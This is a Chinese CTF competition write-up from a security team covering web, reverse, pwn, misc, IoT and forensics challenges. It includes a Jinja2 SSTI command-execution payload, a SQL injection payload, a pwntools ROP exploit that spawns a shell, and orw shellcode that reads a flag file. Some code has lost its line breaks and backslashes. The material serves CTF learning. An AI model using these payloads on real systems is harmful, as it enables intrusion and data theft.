西湖论剑WriteUp

admin 2025年1月19日17:47:14评论60 views字数 10147阅读33分49秒阅读模式
点击蓝字,关注我们
西湖论剑WriteUp

WEB

Rank-l

首先打开题目

西湖论剑WriteUp

这里有文本框我们尝试使用fengjin来跑一下,不行那我们只能开始手注了,但是他这里有两个界面就是输入email和输入password的页面

西湖论剑WriteUp

这里的[email protected]就是我们前面输入的邮箱猜测这里应该是{}或者是f”{}”这种的解析,尝试使用我收藏的payload来进行测试,

西湖论剑WriteUp

当用到这个payload的时候debug的的提示是是和上面的不一样的猜测可能是这里使用的payload没有关键字被过滤掉

西湖论剑WriteUp

这里如果错误的话是有debug提示的

西湖论剑WriteUp这里的debug调出的话是当我们进行password输入之后然后提示的这里的意思是我们有有个参数被 传递的命令类型不正确,或者是但是传入了一个类型为 jinja2.runtime.Undefined 的对象。这通常是因为 Jinja2 模板渲染时某个变量没有被正确赋值,导致该变量在模板中被处理为未定义(undefined)。

总结一下就是

错误的根本原因是 Jinja2 模板渲染时,某个变量没有正确赋值,导致该变量被传递给 os.popen 时类型不正确。检查模板传递的变量,确保它们都有正确的值

但是

西湖论剑WriteUp

西湖论剑WriteUp

这里我以及传入给他了很奇怪,我们这里只能猜测后端的代码了,会不会这个是和前面的联动的就是我测试了很久这里输入email这里是没有回显的,等到输入到password之后才会有回显也就是我猜测的{}或者是{{}},那么就是有有可能是执行之后在执行

可能后端的代码是这样的

F“{abc}The number does not exist or the password is incorrect!”

然后我们传入payload之后就是

F“{{lipsum.__globals__.os.popen(request.form['shell']).read()}}The number does not exist or the password is incorrect!”

因为这里我们还有一个参数是没有进行传参的就是没有参数所以会报错可能到最后的时候是然后我给password的这个页面进行传参也就是 /cpass这个路由下面进行shell的传参最后我们得到的就是

F“{{lipsum.__globals__.os.popen(request.form['shell']).read()}}The number does not exist or the password is incorrect!” POST:shell=ls

接收参数之后

F“{{lipsum.__globals__.os.popen(‘ls’).read()}}The number does not exist or the password is incorrect!”

就可能造成ssti的漏洞解析了

我们尝试一下西湖论剑WriteUp

西湖论剑WriteUp

Nice成功命令执行了,不在当前目录下那就看看/目录

西湖论剑WriteUp

直接nl /f*

西湖论剑WriteUp

DASCTF{8838935015183686746354570495267}

西湖论剑WriteUp

sqli or not

这里给了源码附件,我们先代码审计一下

西湖论剑WriteUp这里过滤的都是符号之类的,

在 SQL 查询构建过程中,用户输入的 username 和 password 是通过直接拼接到 SQL 语句中的,就可能造成sql注入的漏洞的发生,

西湖论剑WriteUp

这里是代码的关键部分,在网上搜了一下找到了这篇文章,是这道题的关键点replace的特性

String.prototype.replace() - JavaScript | MDN然后结合下面的两篇文章
MyBatis中使用REGEXP遇到的字符串转义`|`错误_mybatis regexp-CSDN博客 
RegExp.leftContext ($`) - JavaScript | MDN
const str = "Hello, my name is John Doe.";const regex = /my name/;const result = str.replace(regex, function(match) {return"*****" + $';  // 插入'my name'后面的部分});console.log(result);

我们利用$`

payload

/?info={"username":"$` or 1%23"%2c"password":"1"}

flag

西湖论剑WriteUp

西湖论剑WriteUp

西湖论剑WriteUp
西湖论剑WriteUp

Re

BitDance

逆向也是有了黑盒测试,我们经过爆破发现flag长度是96

西湖论剑WriteUp
from pwn import *payload = "a"whileTrue:    io = remote("139.155.126.78",)    io.recvuntil("Welcome to dance:")    io.sendline(payload)    wrong = io.recvline()ifb"Wrong length"in wrong:        payload += "a"else:print("len is:",len(payload))breakprint(wrong)
西湖论剑WriteUp

输入满96个数据会回显密文

西湖论剑WriteUp

这边尝试输入96个0x255过去发现没有变化

猜测只是进行了bit位的交换

编写脚本进行爆破

from pwn import *def get_io():    io = remote("139.155.126.78"15419)    return iopositions = []def run():    for x in range(96):        for y in range(7, -1, -1):            payload = bytearray(b'xff' * 96)            if payload[x] & (1 << y):                payload[x] ^= (1 << y)            io = get_io()            io.sendline(payload)            io.recvuntil("Start from 0")            result = io.recvuntil("with").replace(b"Checking with", b"").strip().split(b"n")[-1][30:-4].decode()            result = "2" + result            try:                result = result.index("0")                positions.append(result)            except ValueError:                positions.append(0)run()cipher = "000011000110000101001000001110100000000101000100110100101000110111001010000010111011100000000010101100011100010110001000011001000110011101101001001001100110100100010001110001110100011100011111110111001011011100001110000110100101000011000011010101110000110101110101101011110000000101011000000101001010001000001010111111111100100010001100000001011101100101000000111101101010001100010110001000010101101100111101111111110101100111000010111110110101010010000011100000011011010010001110011010100101000000011100000010001010010110111000111001000100110101000001101000110001001000000000111100001100100000001010100101101010101001111001010010001111000101011011001001001101000010011101011101011011011110101000110110101000011001000100001101110000101110110000010001000010010001001100"message = ""for pos in positions:    message += cipher[pos]for z in range(0len(message), 8):print(chr(int(message[z:z + 8], 2)), end="")
西湖论剑WriteUp
西湖论剑WriteUp

pwn

pwn01

首先IDA静态分析

1.程序模拟了栈的操作,有push pop  printf edit  exit  5个功能。
2.缓冲区buf在栈上,并且存在一个计数变量来定位当前模拟栈的栈顶。
西湖论剑WriteUp
3.我们可以通过压入6个数据后,再次push进的数据会将计数变量覆盖我们直接将其覆盖为一个很大的数。
西湖论剑WriteUp
4.此时我们可以通过prinf的功能,将栈上的数据进行泄露。我们可以看到第18 和第19个数据(含0)是一个libc相关的地址,分别代表它的低32位和高32位。将其泄露,计算libc的基地址。
西湖论剑WriteUp
西湖论剑WriteUp
5.经过计算,我们可以得知,程序的返回地址为第18个数据,也就是我们刚刚泄露的地址所在区域。我们可以在这布置ROP链,然后利用exit功能结束程序,触发ROP链获取shell。
from pwn import *from LibcSearcher import *from ctypes import *import pwnlibimport timeimport ctypescontext.arch='amd64'p = process('./Vpwn')context.log_level = 'debug'#elf=ELF('./pwn')#libc =ELF('./libc.so.6')#libc = ctypes.CDLL('libc.so.6')one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23(64)#one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x3ac6c,0x3ac6d,0x5faa5,0x5faa6] #2.23(32)#one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] #2.27(64)r = lambda x: p.recv(x)ra = lambda: p.recvall()rl = lambda: p.recvline(keepends=True)ru = lambda x: p.recvuntil(x, drop=True)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)ia = lambda: p.interactive()c = lambda: p.close()li = lambda x: log.info(x)db = lambda: gdb.attach()l64 = lambda: u64(p.recvuntil('x7f')[-6:].ljust(8,b"x00"))l32 = lambda: u32(p.recvuntil('xf7')[-4:].ljust(4,b"x00"))tob = lambda text: str(text).encode('utf-8')def get_addr(mode = 0): if mode == 0:return u64(p.recvuntil('x7f',drop=False)[-6:].ljust(8, b'x00'))    elif mode == 1:return u64(p.recv(6).ljust(8, b'x00'))    elif mode == 2:return int(p.recv(12), 16)    elif mode == 3:return int(p.recv(16), 16)    elif mode == 4:return int(p.split(b'0x')[1],16else :return0def edit(idx,Content=b'1'):    sla(b'Enter your choice: ', b'1')    p.recvuntil(b'edit')    p.sendline(bytes(str(idx),'utf-8'))    p.recvuntil(b'value')    p.sendline(bytes(str(Content),'utf-8'))def push(content):    sla(b'Enter your choice: ', b'2')    sla(b'Enter the value to push: ', str(content).encode())def pop():    sla(b'Enter your choice: ', b'3')def printf():    sla(b'Enter your choice: ', b'4')def exit():    sla(b'Enter your choice: ', b'5')def addr(data,half):if(half==0):        tmp=data&0xffffffffelse:tmp=(data>>32)&0xffffffffif(tmp>0x7FFFFFFF):tmp-= 2**32return tmp##------------------------------def lotadd(s,e):for i in range(s,e):add(128,b'1')def lotfree(s,e):for i in range(s,e):free(i)##------------------------------gdb.attach(p,"b *$rebase(0x1468)")push(1)push(1)push(1)push(1)push(1)push(1)push(888)printf()line = p.recvline().decode('utf-8').strip()print(f"Received line: {line}")if'StackVector contents: 'in line:data = line.split('StackVector contents: ')[1].split()    print(f"Split data: {data}")else:    print("Error: 'StackVector contents: ' not found in the received line")int32_data = [int(x) & 0xfffffffffor x indata]# 打印转换后的 32 位整数print(f"32-bit integers: {int32_data}")high_32_bits = int32_data[19] << 32low_32_bits = int32_data[18]combined_64_bits = high_32_bits | low_32_bitsprint(f"Combined 64-bit integer: 0x{combined_64_bits:x}")libc_base =  combined_64_bits-0x29d90print("libc_base===>",hex(libc_base))system=libc_base+0x50d70str_bin_sh=libc_base+0x1d8678pop_rdi=libc_base+0x2a3e5ret = pop_rdi + 1rop_index=18edit(rop_index,addr(pop_rdi+1,0))   edit(rop_index+1,addr(pop_rdi+1,1))edit(rop_index+2,addr(pop_rdi,0))edit(rop_index+3,addr(pop_rdi,1))edit(rop_index+4,addr(str_bin_sh,0))edit(rop_index+5,addr(str_bin_sh,1))edit(rop_index+6,addr(system,0))edit(rop_index+7,addr(system,1))exit()ia()
西湖论剑WriteUp

pwn03

开启一个线程向0x10000地址处写入内容,接下来的函数会对我们的内容进行检查:

西湖论剑WriteUp

遍历内容,找到值为15的地址,如果后面紧跟的是数据5则会进行计数。

而15 5 可以写为 0f 05  对应的是syscall的机器码。

这个程序也就是记录syscall出现的次数。而当次数大于2时会结束程序。否则开启沙箱,并且将我们输入的内容当做代码执行。

西湖论剑WriteUp

然后我们看一下沙箱检测,还是采用orw的模式读取文件内容,而我们不能使用read,但程序允许使用mmap,我们可以使用mmap调用进行读取文件。

西湖论剑WriteUp

在写shellcode时,我们共计需要3次syscall,因此我们需要伪造一个syscall。

我们最后一个syscall可以采用RIP寄存器进行修改,  先将最后一个syscall的位置写成 11 05   然后在这之前加上mov byte ptr [rip],0x0f 进行单字节修改,在shellcode执行时会将11改成0f ,形成最后一个syscall

from pwn import *elf = ELF('/home/kano/Desktop/xihu/pwn2/pwn')context(arch=elf.arch , os=elf.os)context(log_level='debug')p =remote('139.155.126.78',32536)shellcode =asm('''     xor rdi, rdi    sub rdi, 100    mov rax, 0x67616c662f2e    push rax    mov rsi, rsp    xor r10, r10    xor edx, edx    push SYS_openat    pop rax    syscall     push 0    mov r10, 0x50    mov rsi, rax    xor rdi, rdi    mov rdx, rsp    push SYS_sendfile    pop rax    syscall''')p.send(shellcode)p.interactive()
西湖论剑WriteUp

MISC

糟糕的磁盘

附件全是img很明显是镜像文件,取证题。拿取证大师做

西湖论剑WriteUp

发现了secret文件和key.png。用VC容器去挂载,key就是key.png

西湖论剑WriteUp
西湖论剑WriteUp

DASCTF{R41D_4ND_D15K_M4573R}

西湖论剑WriteUp
西湖论剑WriteUp
西湖论剑WriteUp

IOT

Blink

用Strings看到可疑字符串

西湖论剑WriteUp
西湖论剑WriteUp
西湖论剑WriteUp

Sharkp

在导出http对象里面发现了一个elfdump下来分析

西湖论剑WriteUp

msf-shikata_ga_nai编码分析与C2配置信息提取 | Alex's blog~

msf-shikata_ga_nai编码分析与C2配置信息提取 | Alex's blog~

前两天正好学了这个,所以对这个相当熟悉

这个就是ip

西湖论剑WriteUp

0x73,0xc3,0x58,0xa1

西湖论剑WriteUp

115.195.88.161

然后就是rce的接口在流量里面可以找到

西湖论剑WriteUp

setSystemAdmin

所以flagsetSystemAdmin_115.195.88.161

西湖论剑WriteUp
西湖论剑WriteUp

DS

Easyrawencode

内存取证之后就是密码

西湖论剑WriteUp

Win7sp1x64

西湖论剑WriteUp

发现了rsa目录,我们过滤rsa目录看看下面有什么

西湖论剑WriteUp

可以看到的是有个私钥文件和加密的zip还有个脚本dump下来看看

西湖论剑WriteUp

历史记录里面可以看见一个加密过程

西湖论剑WriteUp

西湖论剑WriteUp
西湖论剑WriteUp

从环境变量获取key然后加载私钥读取名为data.csv然后加密成encrypted_data.bin,我们现在需要获取key

西湖论剑WriteUp

西湖论剑WriteUp

4etz0hHbU3TgKqduFL

在根据命令历史记录去获取tag和Nonce

西湖论剑WriteUp西湖论剑WriteUp

这里对key进行了加密,我们需要解密才能获取到真正解密的key

解密aeskey

西湖论剑WriteUp

import osimport hashlibfrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.PublicKey import RSAfrom binascii import unhexlifyprivate_key = RSA.import_key(open(r'C:Users14715Desktoprsaprivate.pem''r').read())AESkey = unhexlify('20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334')rsa = PKCS1_OAEP.new(private_key)   #公钥加密用私钥解aes_key = rsa.decrypt(AESkey)print(aes_key.hex())

在编写解密encrypt-data.zip脚本

from Crypto.Cipher import AESfrom binascii import unhexlifyaesKey = unhexlify("f2919059790bfe116c6817f8a448c45d2916c484a809ef2d6b04719d51d50061")nonce = unhexlify("d919c229aab6535efa09a52c589c8f47")tag = unhexlify("5b204675b1b173c32c04b0b8a100ee29")aes = AES.new(aesKey,AES.MODE_EAX,nonce=nonce)enc = open("C:/Users/14715/Desktop/encrypt.bin","rb").read()text = aes.decrypt_and_verify(enc,tag)withopen("flag.txt","wb")as f:    f.write(text)
import base64from Crypto.Cipher import ARC4enc = open(r"C:/Users/14715/Desktop/user.txt","r",encoding="UTF8").read()enc = enc.split("n")del enc[-1]for i in enc:    userinfo = i.split(",")    encflag = base64.b64decode(userinfo[-1])    key = userinfo[2].encode()print(ARC4.new(key).decrypt(encflag))

西湖论剑WriteUp

西湖论剑WriteUp

西湖论剑WriteUp

Easydata

需要删除前面两个字符解密

西湖论剑WriteUp

后面文件头是jpg的16进制数据,然后还原jpg

西湖论剑WriteUp

这里是压缩包,还原压缩包

西湖论剑WriteUp

西湖论剑WriteUp

通过盲水印解密jpg获得 zip解压密码为密码dataPersonPass123987

西湖论剑WriteUp获取到张三的身份证号以及手机号

西湖论剑WriteUp
西湖论剑WriteUp
西湖论剑WriteUp
END

注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

ZeroPointZero安全团队纳新群1:553624735

有兴趣的师傅欢迎一起来讨论!

团队纳新简历投递邮箱:[email protected]

西湖论剑WriteUp

原文始发于微信公众号(ZeroPointZero安全团队):西湖论剑WriteUp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月19日17:47:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   西湖论剑WriteUphttps://cn-sec.com/archives/3646467.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息